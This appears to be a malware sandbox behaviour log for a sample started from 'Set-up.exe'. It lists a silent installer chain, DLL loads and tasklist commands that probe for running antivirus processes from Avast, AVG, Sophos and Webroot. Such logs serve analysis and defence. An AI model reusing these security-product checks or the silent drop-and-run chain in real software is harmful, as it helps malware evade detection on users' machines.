Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com Establish.com u	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Process created: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe "C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Process created: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp "C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp" /SL5="$4041A,7875736,845824,C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe "C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Process created: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp "C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp" /SL5="$5041A,7875736,845824,C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp	Section loaded: propsys.dll
